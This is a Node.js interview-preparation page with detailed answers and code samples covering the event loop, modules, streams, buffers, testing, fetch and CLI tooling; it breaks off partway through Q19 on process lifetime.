Node.js Interview Questions and Answers
Last updated:
Check out 60 of the most common Node.js interview questions, then take an AI-powered practice interview
Q1Walk through the phases of the Node.js event loop. Where do setTimeout and setImmediate callbacks actually run?
BasicEvent Loop
Answer
The event loop, implemented by libuv, cycles through six phases in a fixed order: timers, pending callbacks, idle/prepare (internal), poll, check, and close callbacks. The timers phase runs callbacks scheduled with setTimeout and setInterval whose threshold has elapsed. The poll phase is where the loop spends most of its life: it pulls completed I/O events (socket data, file reads) and executes their callbacks, blocking here when there is nothing else to do.
The check phase runs setImmediate callbacks, and the close phase runs things like socket 'close' handlers. Two details separate a memorised answer from a real one. First, setTimeout(fn, 0) is really setTimeout(fn, 1): Node clamps the delay to a minimum of 1 ms, so when you call setTimeout(0) and setImmediate together at the top level, the ordering is non-deterministic depending on how fast the process reaches the timers phase.
Inside an I/O callback, however, setImmediate always fires first, because the loop is already past the timers phase and reaches check before looping around. Second, microtasks (promise callbacks and process.nextTick) are not a phase at all: they drain completely between every single macrotask callback, not between phases. Interviewers at product companies usually test this with an output-ordering snippet, so run the example below and make sure you can explain every line of its output before your interview.
const fs = require('node:fs');
setTimeout(() => console.log('timeout (top level)'), 0);
setImmediate(() => console.log('immediate (top level)'));
// Order of the two above is NON-deterministic
fs.readFile(__filename, () => {
// We are now inside the poll phase
setTimeout(() => console.log('timeout (in I/O)'), 0);
setImmediate(() => console.log('immediate (in I/O)'));
// 'immediate' ALWAYS wins here: check phase comes
// right after poll, timers only on the next tick of the loop
});
Key Points
- Phases: timers, pending callbacks, poll, check, close
- setImmediate runs in check; setTimeout in timers
- Inside I/O callbacks setImmediate always beats setTimeout(0)
- Microtasks drain between every macrotask, not between phases
Q2What is the difference between process.nextTick(), queueMicrotask(), and setImmediate()?
BasicEvent Loop
Answer
All three defer work, but to very different queues. process.nextTick() pushes onto the nextTick queue, which drains before anything else after the currently executing operation completes, even before promise microtasks. queueMicrotask() (and .then() callbacks) go to the standard microtask queue, which drains right after the nextTick queue. Both of these queues are emptied completely between every macrotask, and crucially, callbacks added while draining are also executed in the same drain, which is why a recursive process.nextTick() can starve the event loop entirely: I/O never gets a chance to run, and the process appears hung while consuming 100% CPU. setImmediate(), despite its name, is the least immediate of the three: it schedules a macrotask for the check phase of the event loop, after pending I/O callbacks in the poll phase have run. The practical guidance interviewers want to hear: use queueMicrotask() for deferring work until after the current synchronous block (it is the standards-aligned choice), reserve process.nextTick() for API design cases where you must emit an event after the caller has had a chance to attach listeners (this is exactly why streams emit 'error' on the nextTick queue), and use setImmediate() when you want to yield to I/O, for example when breaking a large synchronous job into chunks so the server keeps responding. Naming the starvation gotcha and the yield-to-I/O use case is what earns full marks on this question.
console.log('sync');
setImmediate(() => console.log('4: setImmediate (check phase)'));
process.nextTick(() => console.log('1: nextTick queue'));
queueMicrotask(() => console.log('2: microtask queue'));
Promise.resolve().then(() => console.log('3: promise microtask'));
// Output: sync, 1, 2, 3, 4
// nextTick drains before microtasks; both before any macrotask
// Yielding a big job to keep the server responsive:
function processChunk(items, i = 0) {
const end = Math.min(i + 1000, items.length);
for (; i < end; i++) heavyWork(items[i]);
if (i < items.length) setImmediate(() => processChunk(items, i));
}
Q3How do CommonJS and ES Modules differ in Node, and what does "type": "module" in package.json actually change?
BasicModules
Answer
CommonJS (require/module.exports) loads modules synchronously at runtime; ES Modules (import/export) are parsed statically before execution, which enables top-level await, better tree-shaking, and browser compatibility. Node decides which system a file uses from its extension and the nearest package.json: .mjs is always ESM, .cjs is always CJS, and .js follows the "type" field, defaulting to CommonJS when absent. Setting "type": "module" flips every .js file in that package to ESM.
The differences that bite in practice: ESM has no __dirname, __filename, or require() (you use import.meta.url or create a require via node:module's createRequire), imports are hoisted and read-only bindings rather than copied values, and file extensions are mandatory in relative import specifiers (import './util.js', not './util'). Interop matters too: an ESM file can import a CommonJS module, and Node uses cjs-module-lexer to synthesise named exports from static patterns in module.exports, though dynamic exports fall back to the default export only. Going the other way, require() of an ES module historically threw ERR_REQUIRE_ESM, but recent Node versions (unflagged from Node 22.12 and Node 23 onward) allow require() of ESM graphs that contain no top-level await. For interviews, be ready to explain a migration story: most teams in 2026 write ESM (or TypeScript compiled to ESM) for new services while maintaining CJS in older Express codebases, and dual-publish libraries using the "exports" field with separate "import" and "require" conditions.
// package.json
{
"name": "my-service",
"type": "module",
"exports": {
".": {
"import": "./dist/index.js",
"require": "./dist/index.cjs"
}
}
}
// ESM file: no __dirname, no require
import { readFile } from 'node:fs/promises';
import { createRequire } from 'node:module';
const require = createRequire(import.meta.url); // escape hatch
const legacy = require('./legacy-config.cjs');
const data = await readFile(new URL('./data.json', import.meta.url), 'utf8');
Q4What is libuv, and which Node.js APIs actually use its thread pool?
BasicRuntime Internals
Answer
libuv is the C library that gives Node its event loop and its abstraction over OS-level asynchronous I/O. The most common misconception, and the reason interviewers love this question, is the belief that all async work happens on threads. It does not.
Network I/O (sockets, HTTP) uses the operating system's non-blocking notification mechanisms directly: epoll on Linux, kqueue on macOS, IOCP on Windows. No thread pool is involved, which is why a single Node process can hold tens of thousands of concurrent sockets cheaply. The libuv thread pool, which defaults to just 4 threads, is only used for operations that have no non-blocking OS primitive: filesystem calls (fs.readFile and friends), dns.lookup (because it calls the blocking getaddrinfo), the CPU-heavy crypto functions (crypto.pbkdf2, crypto.scrypt, crypto.randomBytes in async form), and zlib compression.
This has a direct production consequence: if your service does heavy file I/O or password hashing, the 5th concurrent operation queues behind the first 4, adding invisible latency. You can raise the pool with the UV_THREADPOOL_SIZE environment variable (up to 1024, set before startup), and a classic tuning move for image-processing or hashing-heavy services is UV_THREADPOOL_SIZE=16 sized against available cores. A related trap: dns.lookup uses the thread pool but dns.resolve uses the c-ares library's non-blocking resolver, so an exhausted thread pool can make outbound HTTP requests appear slow purely because hostname resolution is stuck in the queue. Mentioning that detail signals genuine production experience.
Key Points
- Network I/O uses epoll/kqueue/IOCP, never the thread pool
- Thread pool (default 4): fs, dns.lookup, crypto.pbkdf2/scrypt, zlib
- Raise it with UV_THREADPOOL_SIZE before process start
- Exhausted pool makes DNS and file reads queue invisibly
Q5When would you choose fs.readFileSync, callback fs.readFile, or fs/promises?
BasicFile System
Answer
fs.readFileSync blocks the event loop until the read completes: no timers fire, no sockets are serviced, nothing else happens on the process. That makes it acceptable in exactly two places: startup code that runs before the server accepts traffic (loading config, TLS certificates, seed data) and one-shot CLI scripts where there is no concurrency to protect. Inside a request handler it is a defect, because a slow disk or a large file stalls every in-flight request.
The callback form fs.readFile(path, cb) is non-blocking (the read happens on the libuv thread pool) but produces nested, error-prone code and predates promises. The modern default is node:fs/promises with async/await: non-blocking, flat control flow, and composable with Promise.all for concurrent reads. Two production notes worth volunteering in an interview: first, fs.readFile buffers the entire file into memory, so for anything beyond a few megabytes you should switch to fs.createReadStream and pipe it, otherwise a handful of concurrent large reads can balloon RSS and trigger OOM kills in a memory-capped container.
Second, fs/promises and callback fs share the same thread pool, so 'async' does not mean 'unlimited': with the default UV_THREADPOOL_SIZE of 4, the fifth concurrent read waits. Also know the utility additions: fsPromises.readFile accepts an AbortSignal for cancellation, and fs.promises.watch gives you an async-iterator based file watcher without chokidar for simple cases.
import { readFile } from 'node:fs/promises';
import { createReadStream } from 'node:fs';
// Startup: sync is fine BEFORE listen()
const cert = require('node:fs').readFileSync('/etc/tls/cert.pem');
// Request path: promises API, concurrent reads
const [config, template] = await Promise.all([
readFile('./config.json', 'utf8'),
readFile('./template.html', 'utf8'),
]);
// Large file: stream, never buffer
app.get('/export', (req, res) => {
createReadStream('/data/big-report.csv').pipe(res);
});
// Cancellable read
const ac = new AbortController();
setTimeout(() => ac.abort(), 5000);
await readFile('./slow-mount/file', { signal: ac.signal });
Q6What is the difference between Buffer.alloc(), Buffer.allocUnsafe(), and Buffer.from()?
BasicBuffers
Answer
A Buffer is Node's fixed-length container for raw binary data, backed by memory outside the V8 heap (it shows up under 'external' and 'arrayBuffers' in process.memoryUsage(), not heapUsed). Buffer.alloc(size) allocates size bytes and zero-fills them, so the buffer never contains stale data. Buffer.allocUnsafe(size) skips the zero-fill for speed, which means the buffer initially contains whatever bytes happened to be in that memory before: potentially fragments of previous requests, keys, or tokens from your own process.
If you allocUnsafe and send the buffer without fully overwriting it, you have a data-leak vulnerability of the same family as the old, dangerous new Buffer(number) constructor, which is deprecated (DEP0005) for exactly this reason. Only use allocUnsafe in hot paths where you immediately overwrite every byte, for example when you are about to fill it from a socket read. Buffer.from() creates a buffer from existing content: Buffer.from('hello', 'utf8') encodes a string, Buffer.from(array) copies bytes, and Buffer.from(arrayBuffer, offset, length) creates a view without copying, which is a gotcha because mutations are visible through both references.
Also know the encoding surface: buf.toString('base64url') for JWT-style encoding, 'hex' for digests, and that Buffer is a subclass of Uint8Array, so it works with Web APIs like TextDecoder and crypto.subtle. Interviewers often finish with: why is buffer memory off-heap? Because V8's garbage-collected heap has size limits and copying large binary blobs through it would be slow; off-heap buffers let Node pass pointers to libuv and the OS directly.
// Zero-filled: safe default
const safe = Buffer.alloc(16);
// Uninitialised: may contain stale process memory
const fast = Buffer.allocUnsafe(16); // only if you overwrite it all
// From content
const b64 = Buffer.from('user:pass', 'utf8').toString('base64');
const sig = Buffer.from('deadbeef', 'hex');
// View, NOT a copy: mutations are shared
const ab = new ArrayBuffer(8);
const view = Buffer.from(ab);
view[0] = 255; // visible via any other view on ab
console.log(process.memoryUsage().arrayBuffers); // where this memory shows up
Q7What are the four types of streams in Node, and why is stream.pipeline() preferred over .pipe()?
BasicStreams
Answer
Node has four stream classes in node:stream. Readable produces data (fs.createReadStream, an HTTP request body, process.stdin). Writable consumes data (fs.createWriteStream, an HTTP response, process.stdout).
Duplex is both independent sides at once (a TCP socket: what you write is unrelated to what you read). Transform is a Duplex where output is computed from input (zlib.createGzip(), crypto.createCipheriv(), a CSV parser). Streams exist so you can process data in chunks (default highWaterMark is 64 KB for byte streams) instead of buffering entire payloads in memory.
The classic wiring is readable.pipe(writable), but .pipe() has a serious flaw that interviewers specifically probe: it does not propagate errors or destroy the other side. If the destination errors mid-transfer, the source keeps reading, file descriptors stay open, and you leak resources; error handling requires attaching 'error' listeners to every segment manually. stream.pipeline(src, ...transforms, dest, callback), or its promise form from node:stream/promises, fixes all of this: it forwards errors to a single callback, destroys every stream in the chain on failure, and cleans up listeners. In 2026 code, pipeline is the only acceptable way to compose streams in production, and it also accepts async generators as transforms, which makes custom transformations dramatically simpler than subclassing Transform. Bonus points for mentioning Web Streams (ReadableStream from the WHATWG spec) which Node also ships, and the adapters stream.Readable.toWeb()/fromWeb() that bridge the two worlds, needed when passing a Node stream as a fetch() body.
import { pipeline } from 'node:stream/promises';
import { createReadStream, createWriteStream } from 'node:fs';
import { createGzip } from 'node:zlib';
// One await, full error propagation and cleanup:
await pipeline(
createReadStream('access.log'),
createGzip(),
createWriteStream('access.log.gz'),
);
// Async generator as a transform stage:
await pipeline(
createReadStream('users.csv'),
async function* (source) {
for await (const chunk of source) {
yield chunk.toString().toUpperCase();
}
},
createWriteStream('users-upper.csv'),
);
Key Points
- Readable, Writable, Duplex, Transform
- .pipe() does not propagate errors or destroy streams
- pipeline() handles errors, cleanup, and accepts async generators
- Readable.toWeb()/fromWeb() bridge Node and WHATWG streams
Q8How does EventEmitter handle the 'error' event, and what causes MaxListenersExceededWarning?
BasicEvents
Answer
EventEmitter from node:events underpins almost every async primitive in Node: streams, sockets, servers, child processes. The API is emitter.on(event, fn), emitter.once(event, fn) for a self-removing listener, emitter.emit(event, ...args), and emitter.off/removeListener for cleanup. The 'error' event is special-cased: if an emitter emits 'error' and no listener is attached, Node throws the error synchronously, which by default crashes the process with an uncaught exception.
This is why every stream, socket, and child process you create in production must have an 'error' handler; a missing one on, say, a Redis client socket means one network blip kills the whole service. The MaxListenersExceededWarning appears when more than 10 listeners (the default from events.defaultMaxListeners) are attached for a single event name on one emitter. It exists because the most common EventEmitter bug is a leak: attaching a new listener per request inside a handler and never removing it, so memory and callback time grow forever.
The warning is a smell detector, not a hard limit; if you legitimately need more listeners (a hub emitter with many subscribers), raise it explicitly with emitter.setMaxListeners(50) or events.setMaxListeners(50, emitter) rather than suppressing it globally, and audit any warning you did not expect. Two modern additions worth naming: events.once(emitter, 'event') returns a promise, letting you await an event with try/catch (it rejects on 'error'), and every listener registration accepts an AbortSignal option so a whole group of listeners can be removed with one controller.abort().
import { EventEmitter, once } from 'node:events';
const bus = new EventEmitter();
// Missing this on any socket/stream = potential process crash:
bus.on('error', (err) => logger.logError(err, 'bus'));
// Await an event as a promise (rejects if 'error' fires first):
const [payment] = await once(bus, 'payment:settled');
// Leak pattern interviewers ask you to spot:
app.get('/orders', (req, res) => {
bus.on('order', sendUpdate); // NEW listener every request, never removed
});
// Fix: bus.once(), or remove in res.on('close'), or pass
// { signal } and abort when the request ends
Q9Why should package-lock.json be committed, and when do you use npm ci instead of npm install?
BasicTooling
Answer
package.json declares ranges; package-lock.json records the exact resolved tree: every transitive dependency's version, resolved URL, and integrity hash (SHA-512). Semver ranges like ^4.18.2 (any 4.x at or above 4.18.2) and ~4.18.2 (only 4.18.x patches) mean two installs a week apart can produce different trees if the lockfile is absent or ignored. Committing the lockfile makes builds reproducible: every developer, CI runner, and production image installs byte-identical dependencies, and the integrity hashes stop a tampered tarball from installing silently. npm install reads the lockfile but will mutate it when package.json has changed or ranges allow newer versions. npm ci is the deployment counterpart: it deletes node_modules entirely, installs exactly what the lockfile specifies, touches nothing, and fails hard if package.json and the lockfile disagree.
It is also faster in CI because it skips the dependency-resolution step. The rule: npm install on your laptop when changing dependencies; npm ci everywhere automated (GitHub Actions, Docker builds). Related flags interviewers expect: npm ci --omit=dev for production images, the overrides field in package.json to force-pin a vulnerable transitive dependency without waiting for the direct dependency to update, and npm outdated/npm audit for hygiene. After the npm supply-chain attacks of 2025, several teams also add --ignore-scripts to CI installs so a compromised package cannot run a postinstall payload, re-enabling scripts only for the few packages (like sharp or esbuild) that genuinely need a build step.
Key Points
- Lockfile pins exact versions plus SHA-512 integrity hashes
- npm ci: clean, exact, fails on lockfile drift, faster in CI
- overrides field force-pins vulnerable transitive deps
- --ignore-scripts blunts postinstall supply-chain payloads
Q10How does require() resolve a module like require('pino') step by step?
BasicModules
Answer
CommonJS resolution follows a precise algorithm, and being able to narrate it is a classic screening question. Step 1: if the specifier starts with node: or matches a core module name (fs, path, http), the built-in is returned immediately; no filesystem access happens. Step 2: if it starts with ./ ../ or /, Node resolves it as a file relative to the requiring module: it tries the exact path, then appends extensions .js, .json, .node in that order, then tries it as a directory (package.json "main" inside it, else index.js).
Step 3: bare specifiers like 'pino' trigger the node_modules walk: Node looks in ./node_modules of the current file's directory, then the parent directory's node_modules, and so on up to the filesystem root. Inside the found package, Node consults package.json: the modern "exports" field takes absolute priority when present and strictly defines which subpaths are importable (require('pino/file') fails with ERR_PACKAGE_PATH_NOT_EXPORTED unless './file' is listed), otherwise the legacy "main" field is used. Step 4: the loaded module is cached in require.cache keyed by resolved absolute path, so subsequent require() calls return the same exports object; this is why a module can act as a singleton, and also why mutating a cached module's exports leaks across your whole app.
Useful debugging tools: require.resolve('pino') prints the resolved path without executing it, and node --experimental-print-required-tla or NODE_DEBUG=module traces resolution. Also know the failure mode: MODULE_NOT_FOUND means the walk exhausted every node_modules directory, which in Docker usually means dependencies were installed outside the image or the workdir is wrong.
// Where did this actually come from?
console.log(require.resolve('pino'));
// -> /app/node_modules/pino/pino.js
// Module cache = singleton behaviour
const a = require('./db');
const b = require('./db');
console.log(a === b); // true, same cached exports object
// Clearing cache (test-only trick, not for production):
delete require.cache[require.resolve('./db')];
// exports field gate in a package.json:
{
"name": "pino",
"exports": {
".": "./pino.js",
"./file": "./file.js"
// anything else -> ERR_PACKAGE_PATH_NOT_EXPORTED
}
}
Q11What happens to an unhandled promise rejection in current Node versions?
BasicAsync Patterns
Answer
Since Node 15, an unhandled promise rejection terminates the process with an ERR_UNHANDLED_REJECTION error and a non-zero exit code, exactly like an uncaught synchronous exception. This catches many candidates off guard because older tutorials (Node 12/14 era) describe a mere warning. The behaviour is configurable with --unhandled-rejections=mode where mode is throw (default), strict (raise even if a handler is attached later on the same tick), warn, or none, but running production with warn just converts crashes into silent state corruption, so almost nobody should.
A rejection counts as unhandled when a promise rejects and no .catch() (or try/catch around an await) is attached by the time the microtask queue drains. The classic sources in real codebases: fire-and-forget calls like sendAnalytics() without .catch(), an async function passed directly as an Express 4 route handler (Express 4 does not catch rejected handler promises; Express 5 does), and Promise.all() where a second rejection occurs after the first already rejected the aggregate. For observability, register process.on('unhandledRejection', handler): log the reason and let the process exit via your process manager, or rethrow to preserve the default crash.
There is also 'rejectionHandled', which fires when a rejection is handled late, useful for finding race-prone code. The interviewer's follow-up is usually 'so should we crash or continue?': the defensible answer is crash and restart, because after an unexpected rejection your process state is unknown, and PM2, systemd, or Kubernetes will restart you into a clean state within seconds.
// Crashes the process on current Node:
async function main() {
throw new Error('boom');
}
main(); // no .catch() -> ERR_UNHANDLED_REJECTION, exit code 1
// Observability hook (log, then let it die):
process.on('unhandledRejection', (reason, promise) => {
logger.logError(reason, 'unhandledRejection');
process.exitCode = 1;
throw reason; // preserve crash semantics
});
// Express 4 trap: rejected promise never reaches error middleware
app.get('/users', async (req, res) => {
const users = await db.users.findAll(); // throws -> unhandled in v4
res.json(users);
});
// Fix in v4: wrap handlers; or upgrade to Express 5 which forwards
// rejections to next(err) automatically
Q12Build a minimal HTTP server with node:http. What does Express actually add on top?
BasicHTTP
Answer
node:http gives you http.createServer((req, res) => {}) where req is an IncomingMessage (a Readable stream: headers parsed, body NOT parsed) and res is a ServerResponse (a Writable stream). Everything else is manual: you switch on req.method and req.url, parse the URL with the WHATWG URL class, collect body chunks yourself, set Content-Type headers, and serialise JSON by hand. That manual list is precisely what Express adds: a routing layer (app.get('/users/:id')) with parameter extraction, the middleware pipeline (an ordered chain of (req, res, next) functions for auth, logging, body parsing via express.json(), CORS), res.json()/res.status()/res.redirect() conveniences, content negotiation, and a pluggable error-handling chain.
Express is not a different server: app.listen() literally calls http.createServer(app) with the Express app as the request listener, so everything you know about node:http (timeouts, keep-alive, the underlying sockets) still applies underneath. Interviewers use this question to check you understand the layering, and often follow up with: when is raw node:http appropriate? Honest answers: tiny sidecars like health-check endpoints or webhook receivers, and performance-critical proxies where the middleware chain is measurable overhead. Also worth knowing the 2026 landscape one sentence deep: Fastify offers schema-based validation and roughly 2x Express's throughput on JSON APIs, and Express 5 (the npm default since 2025) finally forwards rejected async handler promises to error middleware, removing the wrapper boilerplate that plagued Express 4 codebases.
import { createServer } from 'node:http';
const server = createServer(async (req, res) => {
const url = new URL(req.url, `http://${req.headers.host}`);
if (req.method === 'GET' && url.pathname === '/health') {
res.writeHead(200, { 'content-type': 'application/json' });
return res.end(JSON.stringify({ ok: true }));
}
if (req.method === 'POST' && url.pathname === '/echo') {
let body = '';
for await (const chunk of req) body += chunk; // manual body collection
res.writeHead(200, { 'content-type': 'application/json' });
return res.end(JSON.stringify({ received: JSON.parse(body) }));
}
res.writeHead(404).end();
});
server.listen(3000);
Q13__dirname is not defined in ES modules. What are the replacements?
BasicModules
Answer
In CommonJS, the module wrapper injects __dirname and __filename into every file. ES modules get neither, and ReferenceError: __dirname is not defined is one of the most-hit errors when teams migrate. The ESM-native identity of a module is import.meta.url, a file:// URL string like file:///app/src/server.js.
From it you have three options. The classic pattern combines node:url and node:path: fileURLToPath(import.meta.url) gives the file path, and path.dirname() of that gives the directory. Since Node 20.11, the shortcuts import.meta.filename and import.meta.dirname exist and return the path strings directly, so on any 2026 LTS you can just use import.meta.dirname.
The third and often best option is to skip paths entirely: most fs APIs accept URL objects, so new URL('./templates/mail.html', import.meta.url) resolves a sibling file without any conversion, and this form works identically when the module is bundled or run from a different working directory. That last property is the deeper point worth making in an interview: path logic based on process.cwd() breaks the moment someone runs node src/server.js from a different directory, whereas import.meta.url-relative resolution is stable because it is anchored to the module's own location. Mention also that require, module, and exports are equally absent in ESM; createRequire(import.meta.url) from node:module recreates require when you genuinely need it, for example to load a JSON file synchronously on older Node versions or to pull in a CJS-only package with side-effect-laden exports.
// Node 20.11+ (all 2026 LTS lines):
console.log(import.meta.dirname); // /app/src
console.log(import.meta.filename); // /app/src/server.js
// Portable classic form:
import { fileURLToPath } from 'node:url';
import path from 'node:path';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
// Often better: skip paths, pass URLs straight to fs
import { readFile } from 'node:fs/promises';
const tpl = await readFile(
new URL('./templates/mail.html', import.meta.url),
'utf8',
);
Q14What does the node: prefix in imports like node:fs do, and why does it matter?
BasicModules
Answer
The node: prefix explicitly marks a specifier as a Node built-in: import fs from 'node:fs' or require('node:fs'). Without the prefix, require('fs') still works for historical reasons, but the bare form is ambiguous: it asks the resolver 'a core module OR whatever is in node_modules under that name'. The prefix removes the ambiguity, and that has three concrete benefits.
First, security: typosquatting and dependency-confusion attacks have published malicious npm packages shadowing plausible core-like names; node:crypto can never resolve to a package, while a bare specifier for a name that is not actually a core module silently falls through to node_modules. Second, some newer built-ins are only reachable with the prefix (node:test is the canonical example: require('test') looks for an npm package, require('node:test') loads the test runner), so the prefixed form is a habit you need anyway. Third, tooling clarity: bundlers like esbuild and Vite, and runtimes like Deno and Bun, treat node: specifiers as explicit externals or compatibility-layer calls, so the prefix makes cross-tool builds more predictable.
ESLint's unicorn plugin ships a prefer-node-protocol rule, and most 2026 style guides (including new NestJS and Fastify codebases) enforce it. In an interview, the crisp answer is: it is namespacing for core modules, exactly like https: in a URL scheme, and modern code should always use it. If asked to prove the difference, point at node:test versus test, or show that require.resolve('node:fs') returns 'node:fs' rather than a filesystem path.
Key Points
- Explicitly resolves to core modules, never node_modules
- node:test is unreachable without the prefix
- Defends against typosquatting/dependency confusion
- Enforced by eslint-plugin-unicorn prefer-node-protocol
Q15How does the built-in fetch() in Node work, and what is undici?
BasicHTTP
Answer
Node has shipped a global, WHATWG-compliant fetch() since version 18 (marked stable in 21), so HTTP calls no longer need axios or node-fetch. It is implemented by undici, a from-scratch HTTP/1.1 client maintained by the Node core team that also provides the Request, Response, Headers, FormData, and WebSocket globals. The API is promise-based: const res = await fetch(url), then await res.json()/text()/arrayBuffer(), with res.ok and res.status for outcome checks.
Gotchas interviewers probe: fetch() rejects only on network failure, never on HTTP error status, so a 500 resolves normally and you must check res.ok yourself (axios habits bite here). Timeouts are not built in; you compose them with AbortSignal.timeout(ms) passed as the signal option, which rejects with a TimeoutError DOMException. Response bodies are streams and must be consumed or cancelled: dropping a Response without reading its body pins the underlying connection and, at volume, exhausts undici's connection pool (a real production leak pattern).
Streaming uploads require duplex: 'half' in the request init. Under the hood undici maintains a keep-alive connection pool per origin, and when fetch's spec-compliance overhead matters you can drop to undici's own request() API, which benchmarks meaningfully faster because it skips the WHATWG abstractions. Proxies are handled with undici's EnvHttpProxyAgent or ProxyAgent (fetch ignores HTTP_PROXY by default unless configured), and interceptors on a custom Agent give you retries and logging without a wrapper library. Naming undici and the body-consumption leak is what distinguishes someone who has run fetch in production.
// Timeout + error-status handling, no axios needed:
const res = await fetch('https://api.example.com/orders', {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ sku: 'A-42', qty: 2 }),
signal: AbortSignal.timeout(5000), // TimeoutError on expiry
});
if (!res.ok) {
await res.body?.cancel(); // release the pooled connection
throw new Error(`Upstream returned ${res.status}`);
}
const order = await res.json();
// Faster raw client for hot paths:
import { request } from 'undici';
const { statusCode, body } = await request('https://api.example.com/ping');
console.log(statusCode, await body.json());
Q16What do node --watch and node --env-file do, and what do they replace?
BasicTooling
Answer
Both flags fold long-standing third-party tools into the runtime. node --watch server.js restarts the process whenever the entry file or any of its imported dependencies change, replacing nodemon for the standard development loop; node --watch-path=./src server.js watches an explicit directory instead of the import graph, and --watch-preserve-output stops the screen clear between restarts. It landed experimentally in Node 18.11 and is stable in current LTS lines. node --env-file=.env server.js loads environment variables from a dotenv-format file into process.env before any user code runs, replacing the dotenv package and its require('dotenv').config() preamble; it arrived in Node 20.6, supports multiline values and comments, can be passed multiple times (later files win), and --env-file-if-exists (Node 22.9+) avoids the hard error when the file is absent, which is exactly what you want in production where config comes from the orchestrator rather than a file. Two interview-worthy nuances: because --env-file applies before module load, it also works for variables that must exist at startup such as NODE_OPTIONS-adjacent tuning or OTEL_EXPORTER_OTLP_ENDPOINT, which dotenv loaded too late for in some setups.
And neither flag belongs in production containers: --watch adds fs-watch overhead and restart semantics you do not want under an orchestrator, and env files should not be baked into images (secrets belong in a manager like Infisical or AWS Secrets Manager, injected as real environment variables). The broader trend worth naming: Node has been absorbing its ecosystem's most common dev dependencies (test runner, watcher, env loading, fetch), so a 2026 project can reach production with dramatically fewer packages than a 2020 one.
# Development loop, no nodemon:
node --watch --env-file=.env server.js
# Watch a directory, keep scrollback:
node --watch-path=./src --watch-preserve-output server.js
# Layered env files (later wins), tolerate missing local file:
node --env-file=.env --env-file-if-exists=.env.local server.js
# package.json
{
"scripts": {
"dev": "node --watch --env-file=.env src/server.js",
"start": "node src/server.js"
}
}
Q17How do you write and run tests with the built-in node:test runner?
BasicTesting
Answer
node:test is a full test runner inside the runtime, stable since Node 20, and importable only with the node: prefix. You import test (or describe/it aliases) from node:test and assertions from node:assert/strict, then run node --test, which discovers files matching patterns like *.test.js and test/ directories. It covers what most projects used Jest for: nested describe blocks, beforeEach/afterEach hooks, async tests (just return or await a promise), test.skip and test.todo, test.only with the --test-only flag, concurrency control, and a built-in mocking facility: t.mock.method(obj, 'fn') replaces a method and records calls, t.mock.timers.enable() fakes setTimeout/Date so you can tick time synchronously, and mocks auto-restore after each test.
Coverage comes from node --test --experimental-test-coverage using V8's built-in coverage, no nyc required, and --test-reporter supports spec, tap, dot, and junit for CI ingestion. Watch mode is node --test --watch. Why interviewers care: the pitch against Jest is zero dependencies, no transform pipeline, and native ESM support without the babel-jest or ts-jest configuration tax that plagued Jest in ESM projects; the trade-offs are a smaller matcher vocabulary than expect(), a younger snapshot story, and a thinner ecosystem of plugins.
A pragmatic 2026 position: new backend services and libraries default to node:test (Fastify and much of the undici ecosystem test this way), while large existing Jest and Vitest suites are rarely worth migrating. Showing you can write a mocked, timer-faked unit test from memory with node:test is a strong signal you keep current with the platform.
// order.test.js
import { test, describe, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { OrderService } from './order.service.js';
describe('OrderService', () => {
let svc;
beforeEach(() => { svc = new OrderService(); });
test('totals line items', () => {
assert.equal(svc.total([{ price: 200 }, { price: 99 }]), 299);
});
test('retries payment with fake timers', async (t) => {
t.mock.timers.enable({ apis: ['setTimeout'] });
const charge = t.mock.method(svc.gateway, 'charge');
charge.mock.mockImplementationOnce(() => { throw new Error('flaky'); });
const result = svc.chargeWithRetry(500);
t.mock.timers.tick(2000); // advance the backoff synchronously
assert.equal((await result).ok, true);
assert.equal(charge.mock.callCount(), 2);
});
});
// Run: node --test --experimental-test-coverage
Q18How do you parse CLI arguments with process.argv and util.parseArgs()?
BasicTooling
Answer
process.argv is the raw argument array: index 0 is the node executable path, index 1 is the script path, and real arguments start at index 2, so quick scripts slice with process.argv.slice(2). Hand-rolling flag parsing beyond one or two positionals gets ugly fast, which is why Node added util.parseArgs (stable since Node 20). You declare an options schema: each option has a type ('string' or 'boolean'), an optional short alias, multiple: true for repeatable flags, and default values; parseArgs returns { values, positionals } and, with tokens: true, a detailed token stream for advanced cases like subcommand routing.
It throws descriptive TypeErrors on unknown options (unless strict: false) and on type mismatches, giving you validation for free. This replaces minimist and yargs for the common 80% of internal tooling: migration scripts, cron jobs, ops one-offs, exactly the sort of scripts backend engineers at Indian startups write weekly against production databases, where pulling 40 transitive dependencies into a database-touching script is a supply-chain risk nobody should accept. For genuinely rich CLIs (nested subcommands, generated help text, shell completion), commander remains the pragmatic choice, and stating that boundary is the mature answer. Adjacent APIs worth naming in the same breath: process.env for configuration, process.exitCode = 1 to fail without the hard stop of process.exit() (which truncates pending stdout writes), process.stdin as a readable stream for piped input, and util.styleText (Node 20.12+) for coloured terminal output without the chalk dependency.
// migrate.js: node migrate.js --env prod --dry-run -t users -t orders
import { parseArgs } from 'node:util';
const { values, positionals } = parseArgs({
options: {
env: { type: 'string', default: 'staging' },
'dry-run': { type: 'boolean', default: false },
table: { type: 'string', short: 't', multiple: true },
},
allowPositionals: true,
});
if (!['staging', 'prod'].includes(values.env)) {
console.error(`Unknown env: ${values.env}`);
process.exitCode = 1; // graceful failure, flushes stdio
} else {
console.log(`Migrating ${values.table?.join(', ')} on ${values.env}`,
values['dry-run'] ? '(dry run)' : '');
}
Q19What keeps a Node.js process alive, and what do timer.unref() and ref() do?
BasicProcess Model
Answer
A Node process exits when the event loop has nothing left to wait for: no pending timers, no open sockets or servers, no in-flight I/O, no active child processes or workers. Every one of these is a 'handle' that libuv tracks; while at least one referenced handle exists, the loop keeps spinning. This explains two symmetrical bugs.
The process that will not exit: your script finishes its work but a forgotten setInterval, an open database connection pool, or a listening server keeps it alive; the classic diagnostic is process.getActiveResourcesInfo(), which lists the active handle types (Timeout, TCPSocketWrap, etc.) so you can see exactly what is pinning the loop. The process that exits too early: you scheduled work but every handle was unreferenced, so the loop drained. That is what unref() controls: timer.unref() tells libuv 'do not count this handle when deciding whether to stay alive'.
It is exactly right for periodic background work that should never be the reason the process lives, such as a metrics flush every 30 seconds, a cache TTL sweeper, or a connection keep-alive pinger; when the real work ends, the process exits cleanly instead of hanging until someone kills it. ref() reverses it. Sockets and servers expose the same pair. A related habit worth mentioning: long-lived apps should close pools and call server.close() during shutdown rather than relying on process.exit(), because exit() abandons pending writes; letting the loop drain naturally is the graceful path, and unref'd housekeeping timers are what make that possible.
// Metrics flusher that never blocks process exit:
